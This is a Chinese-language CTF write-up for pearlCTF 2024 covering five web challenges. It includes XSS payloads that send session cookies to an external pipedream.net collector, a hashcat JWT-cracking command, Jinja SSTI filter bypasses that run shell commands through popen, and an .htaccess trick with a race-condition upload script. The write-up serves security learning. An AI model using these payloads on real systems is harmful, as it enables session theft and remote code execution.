prealCTF2024 wp
印度理工办的ctf,跟着很厉害的人一起做的
teamName: Ciallo~(∠・ω< )⌒☆
rank: #6
points: 7575
Reversing: 1474/7575
Miscellaneous: 438/7575
Crypto: 1,248/7575
Forensics: 904/7575
Web: 1169/7575
Blockchain: 788/7575
OSINT: 100/7575
Pwn: 1454/7575
这次比赛收获很多,也是和一群很强的师傅打,也感受到了自己确实很菜;w;
learn HTTP(76 Solves/50 Points)
https://learn-http.ctf.pearlctf.in
给的是一个公共靶机里面有一个机器人那大概率是xss了,题目还给了附件,先简单看一下页面,看看题目要我们干什么,里面要我们写一个类似http请求的东西,然后把生成好的payload交给机器人检查,接下来我们看一下源码
先看一下nodejs的源码
//main.js
require('dotenv').config()
const childProcess = require('child_process');
var jwt = require('jsonwebtoken');
const express = require("express")
const path = require("path")
const bodyParser = require("body-parser")
var cookieParser = require('cookie-parser')
const app = express()
app.use(express.static(path.join(__dirname, 'public')))
app.use(bodyParser.urlencoded({ extended: false }))
app.use(cookieParser())
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "templates/index.html"))
})
const genToken = () => {
var token = jwt.sign({ id: 1 }, process.env.SECRET);
return token
}
app.post("/check", (req, res) => {
try {
let req_body = req.body.body
if (req_body == undefined) {
return res.status(200).send("Body is not provided")
}
let to_req = `http://localhost:5001/resp?body=${encodeURIComponent(req_body)}`
childProcess.spawn('node', ['./bot.js', JSON.stringify({
url: to_req,
token: genToken()
})]);
return res.status(200).send("Admin will check!")
} catch (e) {
console.log(e)
return res.status(500).send("Internal Server Error")
}
})
app.get("/flag", (req, res) => {
let token = req.cookies.token
try {
var decoded = jwt.verify(token, process.env.SECRET)
if (decoded.id != 2) {
return res.status(200).send("You are not verified")
}
return res.status(200).send(process.env.FLAG)
} catch {
return res.status(200).send("You are not verified")
}
})
app.listen("5000", () => {
console.log("Server started")
})
有三个路由,逻辑都很简单, /就是显示主页,/check检查你构造的payload,并带上cookie(token),/flag检查你的token 有没有修改如果有就返回flag
然后我们开看看另一个go的源码
package main
import (
"fmt"
"net"
"os"
"strings"
"net/url"
)
const (
SERVER_HOST = "localhost"
SERVER_PORT = "5001"
SERVER_TYPE = "tcp"
)
func main() {
fmt.Println("Server Running...")
server, err := net.Listen(SERVER_TYPE, SERVER_HOST+":"+SERVER_PORT)
if err != nil {
fmt.Println("Error listening:", err.Error())
os.Exit(1)
}
defer server.Close()
fmt.Println("Listening on " + SERVER_HOST + ":" + SERVER_PORT)
for {
connection, err := server.Accept()
if err != nil {
fmt.Println("Error accepting: ", err.Error())
}
go processClient(connection)
}
}
func processClient(connection net.Conn) {
buffer := make([]byte, 1024)
mLen, err := connection.Read(buffer)
if err != nil {
fmt.Println("Error reading:", err.Error())
}
raw_http_req := strings.Split(string(buffer[:mLen]), "\r\n")[0]
splitted_req := strings.Split(raw_http_req, " ")
if splitted_req[0] != "GET" {
_, err = connection.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\nCan only GET"))
connection.Close()
return
}
parsed, err := url.Parse(splitted_req[1])
if err != nil {
fmt.Println("Error parsing: ", err.Error())
}
path := parsed.Path
if path != "/resp" {
_, err = connection.Write([]byte("HTTP/1.1 404 Not Found\r\n\r\nNot Found"))
connection.Close()
return
}
args, err := url.ParseQuery(parsed.RawQuery)
if err != nil {
_, err = connection.Write([]byte("HTTP/1.1 500 Internal Server Error\r\n\r\nError"))
connection.Close()
return
}
body, ok := args["body"]
if !ok {
_, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body"))
connection.Close()
return
}
_, err = connection.Write([]byte(body[0]))
connection.Close()
}
根据你的body来分割内容,先检查前面部分有没有问题,最后把最后一部分分割出来回显到网页上, 最后回显的部分没有任何过滤,先尝试一下直接打
?body=HTTP%2F1.1%20200%20OK%0D%0A%0D%0A<script>alert(1)</script>
成功弹窗,接下来简单构造一下外带cookie就行
?body=HTTP%2F1.1 200 OK%0D%0A%0D%0A<script>document.location.href="https://eopv4zbo4fy4ld3.m.pipedream.net/?x="%2bdocument.cookie</script>
拿到token
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjI1MDYyfQ.ucZOtlvfIFuRlGecK_0a22w5OC1lvT3himWAqgXrbS0
直接jwt.io改还不行,还要找到SECRET的key改才行
用hashcat爆破
hashcat -a 3 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjI1MDYyfQ.ucZOtlvfIFuRlGecK_0a22w5OC1lvT3himWAqgXrbS0
爆破出来密钥是 … banana
最后在jwt.io上加上密钥后修改
放到/flag检查得到flag
pearl{c4nt_s3nd_th3_resP0n53_w1th0ut_Sani7iz1ng}
I am a web-noob(75 Solves/50 Points)
https://noob-login.ctf.pearlctf.in/
给的是一个公共靶机没有给源码,给了一个输入用户名的地方,随便数一个用户名(123),在主页回显
Basic 123
Blah blah blah
猜测是ssti传一个参
?user={{7*7}}
回显
{% set config=None%}{% set self=None%} 7*7}}
发现连续的两个大括号被过滤掉了,随便找个不用两个大括号的payload一把梭看看
?user={%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('whoami').read())%}
可以看到有回显
{% set config=None%}{% set self=None%}{%print("".__ __.__bases__[0]. __sub es__()[138].__init__.__globals__['popen']('whoami').read())%}
挺多东西被过滤了,那我们用另一种思路,用request.values.a,在原本里面加个找个然后在传一个a里面是被过滤的内容就可以绕过了,尝试一下
?user={%print%20(lipsum|attr(request.values.a))%}&a=__globals__
成功回显
在回显里找到有os模块,用get获取,接下来就是如果有过滤就用request.values.a绕,或者用引号绕,最终payload就是
?user={%print%20(lipsum|attr(request.values.a)).get('o''s')|attr(%22pop%22%22en%22)(%22cat /app/flag.txt%22)|attr(%22read%22)()%}%}
&a=__globals__
得到flag
pearl{W4s_my_p4ge_s3cur3_en0ugh_f0r_y0u?}
rabbithole(58 Solves/94 points)
https://rabbithole.ctf.pearlctf.in
给了一个网页,里面什么也没有,dirmap扫一下,扫出来robots.txt访问一下
里面有个/w0rk_h4rd要我们去访问,里面说
You sure are hardworking
but are you privileged enough?
Here is what you want: s3cr3t1v3_m3th0d
第二个问我们有没有权限,我们可以看到我们的Cookie是guest,把他改成admin就行了,下面看到文字有m3th0d,method就是访问方法,还有一个加粗的hardworking,先不知道是什么,先用方法和权限访问一下回显405,方法不对,那应该不是这个页面,试试/hardworking,访问后成功回显flag,这题也算是纯纯靠猜的脑洞题了
pearl{c0ngr4t5_but_th1s_1s_just_th3_b3g1nn1ng}
learn HTTP better(15 Solves/476 Points)
https://v1-learn-http.ctf.pearlctf.in/
是前面那题的升级版,和前面那题一样是xss,给了源码,js文件没什么改变,主要看go的源码
package main
import (
"fmt"
"net"
"os"
"strings"
"net/url"
)
const (
SERVER_HOST = "localhost"
SERVER_PORT = "5001"
SERVER_TYPE = "tcp"
)
func main() {
fmt.Println("Server Running...")
server, err := net.Listen(SERVER_TYPE, SERVER_HOST+":"+SERVER_PORT)
if err != nil {
fmt.Println("Error listening:", err.Error())
os.Exit(1)
}
defer server.Close()
fmt.Println("Listening on " + SERVER_HOST + ":" + SERVER_PORT)
for {
connection, err := server.Accept()
if err != nil {
fmt.Println("Error accepting: ", err.Error())
}
go processClient(connection)
}
}
func processClient(connection net.Conn) {
buffer := make([]byte, 1024)
mLen, err := connection.Read(buffer)
if err != nil {
fmt.Println("Error reading:", err.Error())
}
raw_http_req := strings.Split(string(buffer[:mLen]), "\r\n")[0]
splitted_req := strings.Split(raw_http_req, " ")
if splitted_req[0] != "GET" {
_, err = connection.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\nCan only GET"))
connection.Close()
return
}
parsed, err := url.Parse(splitted_req[1])
if err != nil {
fmt.Println("Error parsing: ", err.Error())
}
path := parsed.Path
if path != "/resp" {
_, err = connection.Write([]byte("HTTP/1.1 404 Not Found\r\n\r\nNot Found"))
connection.Close()
return
}
args, err := url.ParseQuery(parsed.RawQuery)
if err != nil {
_, err = connection.Write([]byte("HTTP/1.1 500 Internal Server Error\r\n\r\nError"))
connection.Close()
return
}
body, ok := args["body"]
if !ok {
_, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body"))
connection.Close()
return
}
splitted_resp := strings.Split(body[0], "\r\n\r\n")
new_header := strings.Join([]string{splitted_resp[0], "Content-Security-Policy: script-src 'self'"}, "\r\n")
final_body := strings.Join([]string{new_header, splitted_resp[1]}, "\r\n\r\n")
_, err = connection.Write([]byte(final_body))
connection.Close()
}
多了一个
new_header := strings.Join([]string{splitted_resp[0], "Content-Security-Policy: script-src 'self'"}, "\r\n")
script-src是一个指令,用于控制特定页面的一组与脚本相关的权限,定义此策略后,当浏览器从任何其他来源加载脚本时,只会抛出错误消息。即使恶意攻击者成功的代码注入到 Web 站点时,也只能遇到错误消息
既然是self我们只需要把他定向到自己就可以了
那么我们构造出来脚本就为
<script src="/resp?body=HTTP%252F1.1%2520200%2520OK%250D%250A%250D%250Aalert(1)"></script>
成功弹窗,最后构造payload
HTTP%2F1.1 200 OK%0D%0A%0D%0A<script src="/resp?body=HTTP%252F1.1%2520200%2520OK%250D%250A%250D%250Adocument.location.href=%27https://eopv4zbo4fy4ld3.m.pipedream.net/?%27%252Bdocument.cookie"></script>
反弹回cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjMxMTI1fQ._ej8la2uH7bscSM0WGhbtAt906crQ1OORF4zUtp9moo
继续用hashcat看一下密钥是password
得到flag
pearl{w0w_7hat_w4s_0ut_Of_th3_boX}
Uploader(5 Solves/499 Points)
进去之后是一个upload界面,里面似乎只过滤文件内容,对文件名并不过滤,但是会对文件名进行hash
这个的后端过滤很奇怪,<>[]()=等字符似乎可以存在,但是,只要左右超过有两个字符就会被过滤,同时php也被过滤了,中间思考过程就不说了,说了就太长了,和一个师傅讨论了快两个小时才出,直接给出正确的思考答案
首先先上传.htaccess
ph\
p_flag engine 1
ph\
p_value auto_prepend_file .ph\
p
是的!我们整了半天,发现是php的解析没开,当时也完全没有想到,而斜杠则是绕过php的过滤
而php则是简单的条件竞争就能传上去并解析,虽然还是会删除,但是传一个写木马上去解析就行,最后找到flag在/opt/flag.txt(也算是逆天这么能藏,加了.txt find也find不到,附上别的师傅的吐槽)

最后附上竞争代码
import requests
import threading
def getphpinfo():
url = "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in"
headers = {
"Host": "uploader-be0b0177dfa5950d.ctf.pearlctf.in",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------72940437516480145501393954295",
"Origin": "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in",
"Referer": "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in/",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers"
}
for i in range(10000):
res= requests.get("https://uploader-be0b0177dfa5950d.ctf.pearlctf.in/uploads/10.80.1.9/.php")
print(res.text)
threads = []
for i in range(10):
thread = threading.Thread(target=getphpinfo)
threads.append(thread)
for thread in threads:
thread.start()
for thread in threads:
thread.join()
pearl{d1d_y0u_just_d0uble_r4ce?}